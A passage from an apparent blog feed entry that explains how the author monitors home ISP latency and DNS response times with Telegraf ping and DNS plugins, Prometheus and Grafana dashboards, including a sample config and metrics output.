Show me the graphs#
Now comes the exciting bit – making pretty graphs. First, let’s discuss what’s the most important data I can extract out of Ping and DNS plugins. These plugins export decent amount of data, but a good rule of thumb while making dashboards is to optimise signal v/s noise ratio. We’ll do that by filtering out only the metrics that we care for.
Let’s checkout all the metrics exported by Ping plugin:
$ curl localhost:9283/metrics | grep ping | grep TYPE
# TYPE ping_average_response_ms untyped
# TYPE ping_maximum_response_ms untyped
# TYPE ping_minimum_response_ms untyped
# TYPE ping_packets_received untyped
# TYPE ping_packets_transmitted untyped
# TYPE ping_percent_packet_loss untyped
# TYPE ping_result_code untyped
# TYPE ping_standard_deviation_ms untyped
# TYPE ping_ttl untyped
Perfect! So, from the above list of metrics, the most important ones for us are:
ping_average_response_ms: Avg RTT for a packet
ping_maximum_response_ms: Max RTT for a packet
ping_percent_packet_loss: % of packets lost on the way
With just the above 3 metrics, we can answer questions like:
Is my ISP suffering an outage?
If yes, ping_percent_packet_loss should be unusually higher than normal. This usually happens when the ISP has routing is borked and that causes the packet to be routed in a less optimized way and as a side effect packet loss becomes one of the key metrics to measure here.
Is the upstream down?
If yes, ping_average_response_ms over a recent window should be higher than a window compared to a previous time range when things were fine and dandy. This can either mean 2 things: Either your ISP isn’t routing correctly to the said upstream or the CDN/Region where your upstream is faced an outage. This is quite a handy metric for me to monitor!
How many times have your friends complained “xyz.com isn’t working for me” and when you try to load, it’s fine from your end? There are a lot of actors at play but ping is usually the most simple and quickest way to detect whether an issue persists or not. Of course, this doesn’t work for hosts which block ICMP packets altogether. They are not rare either, like netflix.com and github.com both block ICMP probes for example. For my use case, this wasn’t a major issue as I was able to still probe a decent amount of upstreams all over the world.
With that out of the way, let’s break the dashboard into different components and see what goes behind them.
Ping Response Panel#

To plot this, simply choose a Stat visualisation with the query ping_average_response_ms{url="$url"}. Repeat this panel for the variable $url and you should be able to generate a nice row view like this.
Additonally you can choose Thresholds and the Unit to be displayed in the panel with these options.


Ping Response Time Graph#
The next graph is interesting, it lets me visualise the avg, min, max ping response time as well as the % packet loss plotted on the Y2 (right Y) axis.

Availability Panel#
An interesting query to calculate uptime (just in the context whether the upstream is reachable) is:
100 - avg_over_time(ping_percent_packet_loss[2m])
Since I scrape metrics at an interval of 1m(in order to not ping too frequently and disrupt my actual browsing experience), in this query I am averaging the data points for the metric ping_percent_packet_loss in a [2m] window.

DNS Response Time Graph#
We can similarly query the DNS response time by visualising the average response time for a DNS query. This might be useful only to people self-hosting their DNS servers.

Conclusion#
So with a pretty simple and minimal OSS solution, I was able to setup monitoring for my home network! Over the last few days whenever my ISP had slightest of trouble, I can correlate it with my metrics! I mean I still can’t do anything about it cause the other person on ISP’s customer support is “Did you try rebooting your router” – the quintessential solution to all tech problems. Wish we could reboot this entire damn 2020 as well, but one could hope!
Shoot me for any questions on my Twitter @mrkaran_ :)
Fin!]]></description>
            <content:encoded><![CDATA[<p>I like monitoring <em>stuff</em>. That’s what I do at work and when my home ISP started giving me random problems and I decided it would be nice to monitor my home network as well. There are a couple of ways to go around this, a very popular and OSS solution is <a rel="external" href="https://oss.oetiker.ch/smokeping/">SmokePing</a>. SmokePing is written in Perl and is used to visualise network latencies. It’s quite a great solution but for my current stack which involves Prometheus and Grafana, it meant I had to deploy a standalone tool separate from my monitoring stack - something which I wanted to avoid.</p>
<p><img src="https://oss.oetiker.ch/smokeping/doc/reading_detail.png" alt="SmokePing Graphs" /></p>
<p>So, I looked for other solutions and luckily happened to stumble upon <a rel="external" href="https://twitter.com/oddtazz">oddtazz</a> in one of the common Telegram groups where he shared his solution for the above: Telegraf ICMP <a rel="external" href="https://github.com/influxdata/telegraf/tree/master/plugins/inputs/ping">plugin</a> and Grafana. This is exactly what I’ve been looking for but for some reason, I had wrongly assumed Telegraf needs InfluxDB to store the data. Googling a bit more, I found Telegraf <a rel="external" href="https://github.com/influxdata/telegraf/blob/release-1.15/plugins/outputs/prometheus_client/README.md">supports</a> Prometheus format (amongst a huge list of others!) but this wasn’t so clear in their docs.</p>
<p>I decided to run a Telegraf agent in my RPi connected to my home router over LAN and scrape metrics using Prometheus and visualise graphs in Grafana! For the non-patient readers, here’s what my dashboard looks like!:</p>
<p><img src="https://mrkaran.dev/images/ISP-Monitoring-Grafana2.png" alt="image" /></p>
<p><img src="https://mrkaran.dev/images/ISP-Monitoring-Grafana1.png" alt="image" /></p>
<h2 id="setup">Setup<a class="zola-anchor" href="#setup" aria-label="Anchor link for: setup">#</a></h2>
<p>To get started, we need to download <a rel="external" href="https://github.com/influxdata/telegraf">Telegraf</a> and configure the <a rel="external" href="https://github.com/influxdata/telegraf/tree/master/plugins/inputs/ping">Ping</a> plugin. Telegraf has the concept of <strong>Plugins</strong> for Input, Output, Aggregating and Processing. What this basically means is that you can configure multiple input plugins like DNS, ICMP, HTTP and export the data of these plugins in a format of your choice with Output plugins.
This makes Telegraf extermely extensible, you could write a plugin (in Go) of your choice if you fancy that as well!</p>
<p>Here’s what my <code>telegraf.conf</code> looks like:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="toml"><span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Input plugins</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Ping plugin</span></span>
<span class="giallo-l"><span>[[</span><span style="color: light-dark(#6F42C1, #F69D50);">inputs</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">ping</span><span>]]</span></span>
<span class="giallo-l"><span>urls</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">tailscale.mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">floyd.mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">1.1.1.1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">kite.zerodha.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">google.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">reddit.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">twitter.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">amazon.in</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">zerodha.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>count</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 4</span></span>
<span class="giallo-l"><span>ping_interval</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 1.0</span></span>
<span class="giallo-l"><span>timeout</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2.0</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> DNS plugin</span></span>
<span class="giallo-l"><span>[[</span><span style="color: light-dark(#6F42C1, #F69D50);">inputs</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">dns_query</span><span>]]</span></span>
<span class="giallo-l"><span>  servers</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">100.101.134.59</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  domains</span><span> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">tailscale.mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">floyd.mrkaran.dev</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">1.1.1.1</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">kite.zerodha.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">google.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">reddit.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">twitter.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">amazon.in</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">zerodha.com</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Output format plugins</span></span>
<span class="giallo-l"><span>[[</span><span style="color: light-dark(#6F42C1, #F69D50);">outputs</span><span>.</span><span style="color: light-dark(#6F42C1, #F69D50);">prometheus_client</span><span>]]</span></span>
<span class="giallo-l"><span>  listen</span><span> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">:9283</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  metric_version</span><span> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 2</span></span></code></pre>
<p>Firstly, so nice to see an <em>Ops</em> tool <strong>not</strong> using <code>YAML</code>. Kudos to Telegraf for that. I’d love to see other tools follow suit.</p>
<p>Getting back to the configuration part, <code>input.plugin</code> is a list of plugins that can be configured and I have configured the Ping and DNS plugin in my config. The <code>output</code> is in Prometheus format so it can be scraped and ingested by Prometheus’ time-series DB.</p>
<h3 id="running-telegraf">Running Telegraf<a class="zola-anchor" href="#running-telegraf" aria-label="Anchor link for: running-telegraf">#</a></h3>
<p>With the above config in place, let’s try running the agent and see what metrics we get. I am using <a rel="external" href="https://hub.docker.com/_/telegraf/">official</a> Docker image to run the agent with the following config:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">docker</span><span style="color: light-dark(#032F62, #96D0FF);"> run</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-name</span><span style="color: light-dark(#032F62, #96D0FF);"> telegraf-agent</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-restart</span><span style="color: light-dark(#032F62, #96D0FF);"> always</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">d</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">p</span><span style="color: light-dark(#032F62, #96D0FF);"> 9283:9283</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">v</span><span> $</span><span>PWD</span><span style="color: light-dark(#032F62, #96D0FF);">/telegraf.conf:/etc/telegraf/telegraf.conf:ro</span><span style="color: light-dark(#032F62, #96D0FF);"> telegraf</span></span></code></pre>
<p>After running the above command, you should be able to see the metrics at <code>localhost:9283/metrics</code></p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> curl</span><span style="color: light-dark(#032F62, #96D0FF);"> localhost:9283/metrics</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> head</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  %</span><span style="color: light-dark(#032F62, #96D0FF);"> Total</span><span style="color: light-dark(#032F62, #96D0FF);">    %</span><span style="color: light-dark(#032F62, #96D0FF);"> Received</span><span style="color: light-dark(#032F62, #96D0FF);"> %</span><span style="color: light-dark(#032F62, #96D0FF);"> Xferd</span><span style="color: light-dark(#032F62, #96D0FF);">  Average</span><span style="color: light-dark(#032F62, #96D0FF);"> Speed</span><span style="color: light-dark(#032F62, #96D0FF);">   Time</span><span style="color: light-dark(#032F62, #96D0FF);">    Time</span><span style="color: light-dark(#032F62, #96D0FF);">     Time</span><span style="color: light-dark(#032F62, #96D0FF);">  Current</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">                                 Dload</span><span style="color: light-dark(#032F62, #96D0FF);">  Upload</span><span style="color: light-dark(#032F62, #96D0FF);">   Total</span><span style="color: light-dark(#032F62, #96D0FF);">   Spent</span><span style="color: light-dark(#032F62, #96D0FF);">    Left</span><span style="color: light-dark(#032F62, #96D0FF);">  Speed</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  0</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0</span><span style="color: light-dark(#005CC5, #6CB6FF);">    0</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0</span><span style="color: light-dark(#005CC5, #6CB6FF);">    0</span><span style="color: light-dark(#005CC5, #6CB6FF);">     0</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#005CC5, #6CB6FF);">      0</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-:--:--</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-:--:--</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-:--:--</span><span style="color: light-dark(#032F62, #96D0FF);">     0#</span><span style="color: light-dark(#032F62, #96D0FF);"> HELP</span><span style="color: light-dark(#032F62, #96D0FF);"> dns_query_query_time_ms</span><span style="color: light-dark(#032F62, #96D0FF);"> Telegraf</span><span style="color: light-dark(#032F62, #96D0FF);"> collected</span><span style="color: light-dark(#032F62, #96D0FF);"> metric</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> TYPE dns_query_query_time_ms untyped</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dns_query_query_time_ms</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">floyd</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,domain</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">amazon.in</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,host</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rack</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rcode</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NOERROR</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,record_type</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NS</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,result</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">success</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,server</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">100.101.134.59</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">}</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 124.096472</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dns_query_query_time_ms</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">floyd</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,domain</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">google.com</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,host</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rack</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rcode</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NOERROR</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,record_type</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NS</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,result</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">success</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,server</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">100.101.134.59</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">}</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 136.793673</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dns_query_query_time_ms</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">floyd</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,domain</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">kite.zerodha.com</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,host</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rack</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rcode</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NOERROR</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,record_type</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NS</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,result</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">success</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,server</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">100.101.134.59</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">}</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 122.780946</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dns_query_query_time_ms</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">floyd</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,domain</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">mrkaran.dev</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,host</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rack</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rcode</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NOERROR</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,record_type</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NS</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,result</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">success</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,server</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">100.101.134.59</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">}</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 137.915851</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">dns_query_query_time_ms</span><span style="color: light-dark(#032F62, #96D0FF);">{</span><span style="color: light-dark(#032F62, #96D0FF);">d</span><span style="color: light-dark(#032F62, #96D0FF);">c</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">floyd</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,domain</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">twitter.com</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,host</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rack</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">work</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,rcode</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NOERROR</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,record_type</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">NS</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,result</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">success</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">,server</span><span style="color: light-dark(#032F62, #96D0FF);">=</span><span style="color: light-dark(#6F42C1, #F69D50);">&quot;</span><span style="color: light-dark(#6F42C1, #F69D50);">100.101.134.59</span><span style="color: light-dark(#6F42C1, 